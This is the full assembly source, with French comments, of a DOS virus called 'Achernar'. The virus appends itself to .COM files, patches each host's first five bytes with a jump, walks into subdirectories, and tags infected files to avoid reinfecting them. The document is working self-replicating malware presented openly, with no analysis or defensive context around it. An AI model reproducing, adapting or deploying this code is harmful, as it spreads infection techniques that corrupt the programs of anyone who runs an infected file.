;Virus Achernar, infecteur parasite de COM qui place son code en fin des
;fichiers et voyage au travers des repertoires. (03/12/2000)

.model tiny
.code

	ORG 100H

;Ceci est la portion de code qui propagera le virus dans le systeme. Il ne
;fait que sauter vers le code viral qui, sa tache accomplie, retourne ici
;pour rendre la main au systeme d'exploitation.

START:
	jmp	NEAR PTR VIRUS_START
	db	'AC'
	db	100H dup (90H)		;force l'instruction de saut
					;en near jump avec 256 NOPs
	mov	ax,4C00H
	int	21H			;fin normale, retour au DOS

VIRUS:					;label marquant le premier octet virus

ALLFILE		DB	'*.*',0		;chaine de recherche pour un fichier
START_IMAGE	DB	0,0,0,0,0  

VIRUS_START:
	call	GET_START		;adresse de GET_START, ceci est une
					;ruse qui ne sert qu'a decouvrir
					;l'adresse du debut de ce programme
GET_START:
	pop	di
	sub	di,OFFSET GET_START
	call	INFECT_FILES
	
EXIT_VIRUS:
	mov	ah,1AH			;restore la DTA
	mov	dx,80H
	int	21H
	mov	si,OFFSET START		;restore le debut du code original
	add	di,OFFSET START_CODE
	push	si			;OFFSET HOST dans la pile pour le ret
	xchg	si,di
	movsw
	movsw
	movsb
	ret				;et saut au code de l'hote original

START_CODE:				;deplace les 5 premiers octets du
					;programme hote ici
	nop				;NOPs pour laisser la place au code
	nop				;original
	nop
	nop
	nop

INF_CNT	DB	?			;compteur de fichiers infectes
DEPTH	DB	?			;profondeur de recherche sous-repert.
PATH	DB	10 dup (0)		;chemin en cours d'analyse
;message de la bombe logique :
MSG	DB	7,'Achernar (c) French Section, Federation of Random Actions',0DH,0AH,0AH,'$'

INFECT_FILES:
	push	ds
	mov	ds,0
	mov	bx,046CH		;adresse de l'horloge 55ms du BIOS
	test	BYTE PTR [bx],7		;message affiche une fois sur 8
	pop	ds
	jnz	MESSAGE_DONE
	mov	dx,OFFSET MSG
	add	dx,di
	mov	ah,9
	int	21H			;affiche le message

MESSAGE_DONE:
	mov	[di+INF_CNT],6
	mov	[di+DEPTH],1
	call	SEARCH_DIR
	cmp	[di+INF_CNT],0		;avons nous infecte 6 fichiers ?
	jz	IFDONE			;oui=fin, non=continuer la recherche
	mov	ah,47H			;enregistre le repertoire courant
	xor	dl,dl			;de l'unite courante
	lea	si,[di+CUR_DIR+1]	;et ecrit le chemin de recherche ici
	int	21H
	mov	[di+DEPTH],2
	mov	ax,'\'
	mov	WORD PTR [di+PATH],ax
	mov	ah,3BH
	lea	dx,[di+PATH]
	int	21H			;changement de repertoire
	call	SEARCH_DIR
	mov	ah,3BH			;et maintenant retour au repertoire
	lea	dx,[di+CUR_DIR]		;d'origine
	int	21H
	
IFDONE:
	ret

PRE_DIR		DB	'..',0
CUR_DIR		DB	'\'
		DB	65 dup (0)

;cette routine recherche des fichiers a infecter dans le repertoire courant ou
;d'autres sous-repertoires. Elle est recursive.
SEARCH_DIR:
	push	bp			;initialise le stack frame
	sub	sp,43H			;soustrait la taille de la DTA
	mov	bp,sp
	mov	dx,bp			;place la DTA dans le stack
	mov	ah,1AH
	int	21H
	lea	dx,[di+OFFSET ALLFILE]
	mov	cx,3FH
	mov	ah,4EH

SDLP:
	int	21H
	jc	SDDONE
	mov	al,[bp+15H]		;attribut du fichier trouve
	and	al,10H			;(00010000B) est-ce un repertoire ?
	jnz	SD1			;oui=saut a la gestion des dir
	call	FILE_OK			;seulement un fichier, OK pour infect.?
	jc	SD2			;non=chercher le fichier suivant
	call	INFECT			;oui=infecter le fichier
	dec	[di+INF_CNT]		;decrem. compteur de fichiers infectes
	cmp	[di+INF_CNT],0		;compteur a zero ?
	jz	SDDONE			;oui=fin de recherche
	jmp	SD2			;non=rechercher un autre fichier

SD1:
	cmp	[di+DEPTH],0		;sommes-nous a la profondeur maximum ?
	jz	SD2			;oui=ne pas rech. de sous-repertoire
	cmp	BYTE PTR [bp+1EH],'.'
	jz	SD2			;ne pas tenter recherche de '.' ou '..'
	dec	[di+DEPTH]		;decremente le compteur de profondeur
	lea	dx,[bp+1EH]		;enregistre le nom du repertoire
	mov	ah,3BH
	int	21H			;et le met en repertoire courant
	jc	SD2			;continue si erreur
	call	SEARCH_DIR		;OK=recherche recursive et infection
	lea	dx,[di+PRE_DIR]		;maintenant retour au repert. d'origine
	mov	ah,3BH
	int	21H
	inc	[di+DEPTH]
	cmp	[di+INF_CNT],0		;infection des fichiers terminee ?
	jz	SDDONE
	mov	dx,bp			;restore la DTA dans le stack frame
	mov	ah,1AH
	int	21H

SD2:
	mov	ah,4FH
	jmp	SDLP

SDDONE:
	add	sp,43H
	pop	bp
	ret

;
;fonction qui determine si le fichier specifie dans FNAME est utilisable. Si
;oui, elle met carry bit a 0 (nc), autrement le met a 1 (c). Les conditions
;sont :
;  1) l'extension doit etre .COM
;  2) il doit y a vois suffisamment de place pour le virus et ne pas depasser
;     la limite des 64K
;  3) l'octet 0 du fichier ne doit pas etre l'opcode d'un near jump, et les
;     octets 3 et 4 ne doivent pas contenir les caracteres ASCII A et C
;  4) le nom du fichier ne doit pas etre command.com ni win.com
;  5) ne doit pas etre un .EXE cache sous une extension .COM
;

FILE_OK:
	lea	si,[bp+1EH]
	mov	dx,si

FO1:
	lodsb				;prend un octet du nom de fichier
	cmp	al,'.'			;est-ce un '.' ?
	je	FO2			;oui ? alors recherche de COM
	cmp	al,0			;fin du nom ?
	jne	FO1			;non=prendre caractere suivant
	jmp	FOKCEND			;oui=sortie avec carry bit a 1 : pas
					; un fichier COM

FO2:
	lodsw
	cmp	ax,'OC'
	jne	FOKCEND
	lodsb
	cmp	al,'M'
	jne	FOKCEND

FO3:
	mov si,dx
	lodsw
	cmp	ax,'OC'
	jne	FO4
	lodsw
	cmp	ax,'MM'
	jne	FO4
	lodsw
	cmp	ax,'NA'
	jne	FO4
	lodsb
	cmp	al,'D'
	jne	FO4
	jmp	FOKCEND			;ne pas infecter COMMAND.COM

FO4:
	mov	si,dx
	lodsw
	cmp	ax,'IW'
	jne	FO5
	lodsb
	cmp	al,'N'
	jne	FO5
	jmp	FOKCEND			;ne pas infecter WIN.COM

FO5:
	mov	ax,3D02H		;fichier ouvert en lecture/ecriture
	int	21H
	jc	FOK_END			;fin si erreur a l'ouverture du fichier
	mov	bx,ax			;file handle dans bx
	mov	cx,5			;puis lire les cinq octets du debut
					;du programme

	lea	dx,[di+START_IMAGE]
	mov	ah,3FH			;fonction de lecture
	int	21H
	pushf
	mov	ah,3EH			;et fermeture du fichier
	int	21H			;controle d'erreur de lecture
	popf
	jc	FOK_END

	mov	ax,[bp+1AH]		;note la taille du fichier original
	add	ax,OFFSET ENDVIR - OFFSET VIRUS + 100H
					;ajoute la taille du virus et met le
	jc	FOK_END			;carry bit=1 si taille superieure a 64K
	cmp	WORD PTR [di+START_IMAGE],'ZM'	;format executable ?
	je	FOKCEND			;c'est un EXE, ne pas toucher
	cmp	BYTE PTR [di+START_IMAGE],0E9H	;1er octet est un near jump ?
	jnz	FOK_NCEND		;non=OK pour infecter
	cmp	WORD PTR [di+START_IMAGE+3],'CA'	;octets 'AC' ici ?
	jnz	FOK_NCEND		;non=OK pour infecter

FOKCEND:
	stc

FOK_END:
	ret

FOK_NCEND:
	clc
	ret

;
;cette routine deplace le virus (ce programme) a la fin du fichier COM. Elle
;ne fait que copier tout le code viral d'un endroit a l'autre, puis ajuste les
;cinq octets du debut du programme en sauvegardant les cinq octets originaux
;

INFECT:
	lea	dx,[bp+1EH]
	mov	ax,3D02H		;ouvre le fichier en lecture/ecriture
	int	21H
	mov	bx,ax			;et garde le file handle dans bx

	xor	cx,cx			;positionne le file pointer
	mov	dx,cx			;pointeur cx:dx=0
	mov	ax,4202H		;positionne le pointeur a la fin
	int	21H

	mov	cx,OFFSET ENDVIR - OFFSET VIRUS	;nombre d'octets a copier
	lea	dx,[di+VIRUS]		;ecrire a partir d'ici
	mov	ah,40H			;ecriture du virus dans le fichier
	int	21H

	xor	cx,cx			;sauve les 5 octets du debut
	mov	dx,[bp+1AH]
	add	dx,OFFSET START_CODE - OFFSET VIRUS	;dans START_CODE
	mov	ax,4200H		;positionne le file pointer au debut
	int	21H

	mov	cx,5			;puis ecrit START_CODE dans le fichier
	lea	dx,[di+START_IMAGE]
	mov	ah,40H
	int	21H

	xor	cx,cx			;et retourne au debut du programme hote
	mov	dx,cx			;de maniere a y placer le near jump
	mov	ax,4200H		;pointant le code viral
	int	21H			;localise le file pointer

	mov	BYTE PTR [di+START_IMAGE],0E9H
					;d'abord l'op-code near jump E9
	mov	ax,[bp+1AH]		;et l'adresse relative
	add	ax,OFFSET VIRUS_START-OFFSET VIRUS-3
					;dans la zone START_IMAGE
	mov	WORD PTR [di+START_IMAGE+1],ax
	mov	WORD PTR [di+START_IMAGE+3],4341H
					;puis place le code d'ident. 'AC'
	mov	cx,5			;enfin ecrit 5 octets dans START_IMAGE
	lea	dx,[di+START_IMAGE]
	mov	ah,40H			;ecriture
	int	21H
	mov	ah,3EH			;puis de fermeture du fichier
	int	21H

	ret				;c'est tout, le virus est transfere

ENDVIR:

	END	START